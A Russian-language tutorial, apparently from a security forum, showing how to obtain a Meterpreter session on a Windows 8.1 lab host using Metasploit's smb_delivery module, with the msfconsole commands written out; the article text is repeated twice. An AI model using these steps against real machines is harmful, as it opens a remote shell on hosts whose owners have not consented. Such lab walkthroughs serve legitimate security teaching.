РАЗБОР
Статья
Взлом удаленного хоста (SMB Delivery Exploit)
Режим чтения
[ обложка статьи ]
Всем привет! В этой небольшой статье я хочу показать очередной способ получения сессии meterpreter посредством использования Metasploit Framework, а в частности эксплоита, который носит название SMB Delivery Exploit.
В роли атакующей системы Kali Linux 2016.2 с адресом в локальной сети 192.168.0.102 и целевой хост – Windows 8.1. с адресом в локальной сети 192.168.0.103.
Откроем терминал и запустим Metasploit Framework:
> msfconsole
В консоли фреймворка пишем:
> use exploit/windows/smb/smb_delivery
> set srvport 4444
> set srvhost 192.168.0.102
> exploit
Теперь, как указывает эксплойт, нам необходимо запустить сгенерированную им команду в командной строке целевого хоста:
После успешной отработки команды в консоли Linux видим формирование сессии meterpreter:
Жмем Ctrl+C, и смотрим информацию о текущих сессиях:
> sessions –i
И подключаемся к открытой сессии под номером 1:
> sessions –I 1
В диспетчере задач Windows созданный процесс выглядит так:
Снимаем задачу и сессия погибает:
На этом собственно все. Спасибо за внимание.
В роли атакующей системы Kali Linux 2016.2 с адресом в локальной сети 192.168.0.102 и целевой хост – Windows 8.1. с адресом в локальной сети 192.168.0.103.
Откроем терминал и запустим Metasploit Framework:
> msfconsole
В консоли фреймворка пишем:
> use exploit/windows/smb/smb_delivery
> set srvport 4444
> set srvhost 192.168.0.102
> exploit
Теперь, как указывает эксплойт, нам необходимо запустить сгенерированную им команду в командной строке целевого хоста:
После успешной отработки команды в консоли Linux видим формирование сессии meterpreter:
Жмем Ctrl+C, и смотрим информацию о текущих сессиях:
> sessions –i
И подключаемся к открытой сессии под номером 1:
> sessions –I 1
В диспетчере задач Windows созданный процесс выглядит так:
Снимаем задачу и сессия погибает:
На этом собственно все. Спасибо за внимание.
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Поиск в обсуждении
Карта ветки
Продолжить чтение
Следующий разбор
Песочница, в которой прятался враг
Ещё по теме
- Статья
- Статья
- Статья
Комментарии
32